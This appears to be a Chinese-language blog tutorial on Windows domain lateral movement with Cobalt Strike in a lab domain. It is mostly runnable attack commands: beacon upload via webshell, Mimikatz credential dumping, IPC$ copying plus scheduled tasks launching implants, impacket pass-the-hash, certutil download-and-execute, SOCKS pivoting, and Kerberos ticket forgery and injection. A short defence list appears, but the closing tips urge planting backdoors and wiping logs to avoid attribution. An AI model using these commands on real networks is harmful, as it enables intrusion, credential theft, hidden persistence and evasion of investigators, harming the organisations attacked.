本文所有技术仅供合法安全测试与学习使用,请勿用于非法目的!!本环境在个人虚拟机中浮现
在渗透测试中,拿下外网Web服务器往往只是开始。真正的挑战在于内网横向移动------利用已攻陷的主机作为跳板,逐步控制域内更多机器,最终拿下域控制器(DC)。本文结合Cobalt Strike(CS)环境,详细讲解内网横向移动的完整流程,涵盖信息收集、IPC连接、计划任务、impacket工具包、Socks代理转发以及Kerberos票据攻击(PTT)等多种技术,并辅以流程图和命令示例,帮助你系统掌握内网渗透的核心技巧。
一、环境拓扑与攻击思路
1.1 典型内网环境
text
互联网
│
▼
┌──────────────┐
│ WebServer │ ← 唯一对外服务,已通过Web漏洞获取权限
│ 10.0.0.x │ 双网卡:10.0.0.0/24 (外网段) + 192.168.3.0/24 (内网段)
└──────┬───────┘
│ 内网
┌──────┴──────────────────────┐
│ │
┌────▼────┐ ┌─────▼─────┐
│ PC01 │ │ DC │
│ 192.168.3.x │ │ 192.168.3.21 │
└─────────┘ └───────────┘
-
WebServer :已被控制,作为跳板机,可访问内网段
192.168.3.0/24。 -
域控(DC) :目标机器,IP
192.168.3.21,域名为god.org。 -
其他内网主机:如Windows 7等,均不能访问外网,但可与WebServer通信。
1.2 攻击总体流程
二、初始上线与信息收集
2.1 通过WebShell上传CS木马
假设已获得WebShell(如菜刀、蚁剑连接),将Cobalt Strike生成的木马(beacon.exe)上传到WebServer,并执行上线。
CS监听器设置:
-
Payload: Beacon HTTP/HTTPS
-
监听地址:外网IP(攻击机)
执行后,CS会显示一个Beacon会话。
2.2 判断是否在域环境
在Beacon中执行:
bash
shell net time /domain
若返回类似 \\DC.god.org 的域名,则说明当前主机已加入域。
2.3 定位域控IP
bash
shell ping OWA2010CN-God.god.org -4
返回的IP即为域控地址(例:192.168.3.21)。
2.4 收集域用户及组信息
bash
shell net user /domain # 列出域用户
shell net group "Domain Admins" /domain # 域管组成员
2.5 收集内网端口/存活主机
使用CS插件或portscan命令扫描内网段:
bash
portscan 192.168.3.0/24 1-1024 arp 200
扫描结果可在"视图" → "目标"中查看。

2.6 抓取凭据(提权后)
当前会话可能为webadmin低权限,需先提权至SYSTEM。
-
使用CS的
elevate功能(如ms14-058、uac-token-duplication等)。 -
提权成功后会产生一个SYSTEM会话。

抓取密码和Hash :
在SYSTEM会话中右键 → "Access" → "Dump Hashes" / "Run Mimikatz"。
获取的明文密码或NTLM Hash将保存在CS的"凭据信息"中。
示例抓到的凭据:
账号:
god\administrator密码:Admin12345Hash:
cccf208c6485269c20db2cad21734fe7
这些凭据是横向移动的核心武器。
三、IPC连接与计划任务正向/反向上线
3.1 什么是IPC$
IPC$(Internet Process Connection)是Windows进程间共享的命名管道。通过net use建立IPC连接后,可远程复制文件、创建计划任务等。
前提条件:
-
拥有目标机器的账号密码或Hash。
-
目标开启
IPC$共享(默认开启)。
3.2 正向连接(目标主动连攻击机监听端口)
步骤:
-
创建正向监听器
CS中:
Listeners→Add→ 选择Beacon TCP(正向),端口如4444。 -
生成木马
Attacks→Packages→Windows Executable,选择上述正向监听器,生成4444.exe。
-
建立IPC连接
方法一:手动命令
bash shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
方法二:右键SYSTEM会话 →
Lateral Movement→IPC Connect,填写IP和凭据。
-
复制木马到目标
bash shell copy C:\path\to\4444.exe \\192.168.3.21\c$\ -
创建计划任务执行木马
先查看目标系统时间:
bash shell net time \\192.168.3.21根据版本选择命令:
-
Windows 2012之前(如Win7/2008):
atbash shell at \\192.168.3.21 15:30 c:\4444.exe -
Windows 2012及之后:
schtasksbash shell schtasks /create /s 192.168.3.21 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\4444.exe /F
-
-
攻击机连接目标
等待计划任务执行后,在CS中:
bash connect 192.168.3.21 4444
成功则出现新的Beacon会话。
3.3 反向连接(目标主动连攻击机监听器)
反向连接适用于目标主机可以访问攻击机(但在内网场景中,攻击机通常无法被直接访问,需使用转发上线)。
步骤:
-
创建转发上线监听器
CS中:
Listeners→Add→Beacon SMB或Beacon HTTP,但需在已上线会话中设置"转发上线"。具体:右键已提权的SYSTEM会话 →
Pivoting→Listener→ 新建一个反向监听器,IP填写当前受控主机的内网IP (如192.168.3.31)。
-
生成反向木马 (监听器选刚才创建的),得到
5555.exe。 -
通过IPC复制到目标(同上)。
-
用计划任务运行 (同上)。

-
等待上线 :目标执行后,会主动连接受控主机的内网IP,CS自动接收新会话。

四、利用impacket套件横向移动
impacket是一组Python协议工具,可远程执行命令、上传下载文件。实际渗透中可将编译好的exe版本上传到WebServer,或者通过Socks代理直接在本地运行Python版。
4.1 直接上传exe版(atexec.exe示例)
-
将
atexec.exe通过CS文件管理上传到WebServer。
-
在Beacon中执行:
bash shell atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"返回
ntauthority\system即成功。 -
支持Hash传递(Pass the Hash):
bash shell atexec.exe -hashes :cccf208c6485269c20db2cad21734fe7 god/Administrator@192.168.3.21 "whoami" -
远程下载并执行木马 :
先在WebServer上搭建简易HTTP服务(如
python -m http.server 80),放好5555.exe。然后通过atexec执行certutil下载:
bash shell atexec.exe god/administrator:Admin12345@192.168.3.21 "certutil.exe -urlcache -split -f http://192.168.3.31/5555.exe fan.exe" shell atexec.exe ... "fan.exe"
等待CS上线。
4.2 通过Socks代理使用impacket(无需上传工具)
优点:本地运行原版Python脚本,隐蔽性高。
步骤:
-
开启Socks代理 :
在CS会话中右键 →
Pivoting→SOCKS Server,设置端口(如1080)。
-
配置本地proxychains :
/etc/proxychains.conf添加socks4 127.0.0.1 1080。 -
本地运行impacket脚本:
bash proxychains python3 psexec.py god/administrator:Admin12345@192.168.3.21或使用Hash:
bash proxychains python3 psexec.py -hashes :cccf208c6485269c20db2cad21734fe7 god/Administrator@192.168.3.21 -
通过smbexec/wmiexec获取交互式cmd:
bash proxychains python3 wmiexec.py -hashes :cccf208c6485269c20db2cad21734fe7 god/Administrator@192.168.3.21成功后会得到一个半交互式shell,可执行命令、上传下载。
-
将获得的shell转移至CS :
在上述shell中执行certutil下载CS木马并运行,即可上线。
五、票据传递(Pass The Ticket, PTT)攻击
Kerberos协议中,TGT(Ticket Granting Ticket)是域身份认证的核心。如果能伪造或导出合法的TGT,即可访问域内任意服务,甚至拿下域控。
5.1 Kerberos相关概念速查
| 术语 | 含义 |
|---|---|
| KDC | 密钥分发中心,域控上运行 |
| AS | 认证服务,发放TGT |
| TGT | 登录票据,由AS签发,默认有效期10小时 |
| TGS | 票据授予服务,发放ST |
| ST | 服务票据,用于访问特定服务 |
| krbtgt | 域内用于加密TGT的账户,其NTLM Hash是黄金票据的关键 |
| 黄金票据 | 伪造的TGT,可访问任何服务 |
| 白银票据 | 伪造的ST,仅能访问特定服务 |
5.2 方法一:MS14-068漏洞生成TGT(需明文密码)
原理:MS14-068允许低权限域用户伪造高权限TGT,直接攻击域控(无需域控凭据)。
步骤:
-
获取当前用户的SID:
bash shell whoami /user输出类似:
S-1-5-21-...-1104。 -
利用工具
MS14-068.exe生成票据:bash MS14-068.exe -u webadmin@god.org -p 明文密码 -s SID -d 192.168.3.21生成文件如
TGT_webadmin@god.org.ccache。 -
清除当前缓存票据:
bash shell klist purge -
使用mimikatz导入票据:
bash mimikatz kerberos::ptc TGT_webadmin@god.org.ccache -
验证访问域控共享:bash shell dir \\owa2010cn-god\c$若能列出目录,则成功。此时可进一步使用
psexec等上线。
5.3 方法二:kekeo利用NTLM Hash生成TGT
适用:已有域管理员账号的Hash,但没有明文密码。
-
生成票据:
bash kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:cccf208c6485269c20db2cad21734fe7"生成
TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi。 -
清除原票据后导入:
bash kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt-god.org@GOD.ORG.kirbi" -
验证同上。
5.4 方法三:mimikatz导出内存中的历史票据
前提:域管理员等高权限账户曾登录过当前主机,且票据未过期。
-
导出所有票据:
bash mimikatz sekurlsa::tickets /export票据会保存在当前目录下,文件名形如
[0;3e7]-2-0-40e00000-Administrator@krbtgt-GOD.ORG.kirbi。 -
选择一个高权限票据(如Administrator的krbtgt票据),清除当前票据后导入:
bash mimikatz kerberos::ptt 票据文件.kirbi -
连接域控验证。
5.5 票据攻击总结
| 方法 | 所需条件 | 优点 | 缺点 |
|---|---|---|---|
| MS14-068 | 域用户明文密码 | 直接伪造高权限TGT | 需补丁未打(目前已极少) |
| kekeo | 域管NTLM Hash | 无需明文密码,较通用 | 需要知道Hash |
| mimikatz导出 | 主机内存中有高权限票据 | 无需额外凭据 | 依赖历史登录且未超时 |
六、总结与防御建议
6.1 横向移动技术对比
| 技术 | 核心原理 | 使用场景 | 优缺点 |
|---|---|---|---|
| IPC + 计划任务 | 利用共享复制文件,at/schtasks执行 | Windows全版本 | 简单稳定,但容易被日志记录 |
| impacket psexec | 通过服务创建远程执行 | 需要管理员权限 | 功能强大,支持Hash传递 |
| wmiexec | WMI协议执行命令 | 无需445端口?实际需要 | 较隐蔽,但半交互式 |
| Socks代理 | 将内网流量转发至本地 | 不想上传工具 | 灵活,但速度较慢 |
| PTT票据 | Kerberos伪造票据 | 域环境 | 非常隐蔽,可绕过常见检测 |
6.2 防御措施
-
最小权限原则:域管账户不应登录普通服务器。
-
补丁管理:MS14-068等高危补丁必须安装。
-
监控日志 :关注
net use、at、schtasks、wmic进程创建,以及4624登录事件。 -
限制IPC$访问:通过组策略禁用空密码访问。
-
启用Credential Guard:防止mimikatz读取明文密码。
-
定期更换krbtgt密码:使黄金票据失效。
6.3 内网横向思维导图
七、实战建议
-
先收集后移动:不要盲目横向,先掌握内网拓扑、凭据、关键服务。
-
优先使用Hash传递:很多环境无法抓取明文,但NTLM Hash仍可利用。
-
票据攻击是利器:在域环境中,PTT往往比明文密码更隐蔽、更有效。
-
保持持久化:在关键主机上留下后门(如计划任务、服务、WMI事件订阅)。
-
清理痕迹:删除上传的工具、日志记录,避免被溯源。
内网横向移动是渗透测试中极为考验综合能力的一环。掌握上述技术,并结合实际环境灵活运用,才能在攻防演练或真实授权测试中游刃有余。
本文所有技术仅供合法安全测试与学习使用,请勿用于非法目的。